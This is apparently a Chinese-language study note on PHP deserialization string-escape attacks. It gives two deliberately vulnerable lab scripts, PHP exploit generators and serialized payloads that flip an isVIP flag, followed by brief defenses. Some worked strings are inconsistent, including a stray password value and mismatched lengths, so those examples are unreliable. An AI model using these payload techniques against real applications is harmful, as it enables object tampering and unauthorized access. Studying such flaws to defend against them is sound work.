PHP反序列化字符串逃逸个人笔记
原理简介
字符串逃逸是PHP反序列化漏洞利用中的一种技术,主要利用了PHP在反序列化时对字符串长度的严格判断机制。当对序列化字符串进行某些操作(如替换、过滤)时,字符串长度与声明的长度不匹配,就可能导致后续数据”逃逸”出来被当作新的序列化数据处理。
字符串逃逸主要分为两种情况:
- 字符数增加:替换后字符变长,可控制”吃掉”后面的属性
- 字符数减少:替换后字符变短,可控制后面的属性”逃逸”出来
案例一:字符数增加逃逸
漏洞代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37
| <?php class user { public $username; public $password; public $isVIP;
public function __construct($u, $p) { $this->username = $u; $this->password = $p; $this->isVIP = 0; }
function login(){ $isVip = $this->isVIP;
if($isVip == 1){ echo 'flag is niubi'; }else{ echo 'fuck'; } } }
function filter($obj) { return preg_replace("/admin/","hacker",$obj); }
$obj = $_GET['x']; if(isset($obj)){ $o = unserialize(filter($obj)); $o->login(); }else{ echo 'fuck'; }
|
漏洞分析
- 目标:使
isVIP
的值变为1,从而获取flag
- 关键点:
filter
函数将”admin”替换为”hacker”,替换后字符串长度增加1
- 逃逸思路:构造大量”admin”,替换后长度变化会使后面的属性被”吞噬”
漏洞利用代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
| <?php class user { public $username = 'admin'; public $password = '123456'; public $isVIP = '1'; public function __construct($u, $p) { $this->username = $u; $this->password = $p; $this->isVIP = 1; } }
function filter($obj) { return preg_replace("/admin/","hacker",$obj); }
$u = 'adminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadmin";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}'; $p = '123456';
$obj = new user($u, $p); echo filter(serialize($obj));
|
利用过程分析
- 原始序列化对象:
1
| O:4:"user":3:{s:8:"username";s:235:"admin";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}
|
逃逸构造思路:
- 我们需要让”admin”被替换为”hacker”后,后面的部分能够被解析成新的属性
- 计算:每个”admin”替换为”hacker”增加1个字符
- 必须插入47个”admin”才能覆盖后面的定义
构造的payload被过滤后:
1
| O:4:"user":3:{s:8:"username";s:282:"hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}";s:8:"password";s:6:"xiaodi";s:5:"isVIP";i:1;}
|
- 实际被解析的部分:
1
| O:4:"user":3:{s:8:"username";s:282:"hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}
|
最终Payload
1
| O:4:"user":3:{s:8:"username";s:282:"hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}";s:8:"password";s:6:"xiaodi";s:5:"isVIP";i:1;
|
案例二:字符数减少逃逸
漏洞代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36
| <?php class user { public $username; public $password; public $isVIP;
public function __construct($u, $p) { $this->username = $u; $this->password = $p; $this->isVIP = 0; }
function login(){ $isVip = $this->isVIP; if($isVip == 1){ echo 'flag is niubi'; }else{ echo 'fuck'; } } }
function filter($obj) { return preg_replace("/admin/","hack",$obj); }
$obj = $_GET['x']; if(isset($obj)){ $o = unserialize(filter($obj)); $o->login(); }else{ echo 'fuck'; }
|
漏洞分析
- 目标:同样是使
isVIP
的值变为1
- 关键点:
filter
函数将”admin”替换为”hack”,替换后字符串长度减少1
- 逃逸思路:构造大量”admin”,使替换后字符串实际长度小于声明长度,导致后面的内容”逃逸”出来
漏洞利用代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
| <?php class user{ public $username; public $password; public $isVIP;
public function __construct($u, $p){ $this->username = $u; $this->password = $p; $this->isVIP = 0; } }
function filter($s){ return str_replace("admin","hack",$s); }
$u = 'adminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadmin'; $p = ';s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}';
$a = new user($u, $p); $a_seri = serialize($a); $a_seri_filter = filter($a_seri);
echo $a_seri_filter;
|
利用过程分析
替换前后对比:
- 替换前:
O:4:"user":3:{s:8:"username";s:5:"admin";s:8:"password";s:3:"132";s:5:"isVIP";i:0;}
- 替换后:
O:4:"user":3:{s:8:"username";s:5:"hack";s:8:"password";s:3:"132";s:5:"isVIP";i:0;}
逃逸构造思路:
- 每个”admin”替换为”hack”减少1个字符
- 需要22个”admin”使其减少22个字符,正好让我们控制的内容”逃逸”
构造的序列化字符串:
1
| O:4:"user":3:{s:8:"username";s:110:"adminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadmin";s:8:"password";s:46:";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}";s:5:"isVIP";i:0;}
|
- 过滤后实际被解析的字符串:
1
| O:4:"user":3:{s:8:"username";s:110:"hackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhack";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}
|
防御方法
- 避免在序列化数据上直接进行字符串操作
- 对用户输入进行严格验证,尤其是反序列化前
- 使用白名单限制可以反序列化的类
- 考虑使用签名等机制确保序列化数据的完整性
总结
字符串逃逸是一种巧妙利用PHP反序列化机制的技术,主要有两种情况:
- 字符替换后变长导致后面内容被”吃掉”
- 字符替换后变短导致后面内容”逃逸”出来
这两种情况都可能导致恶意用户控制对象属性,进而执行恶意操作。在开发中应当注意对序列化数据的保护,避免直接在其上进行字符串替换操作。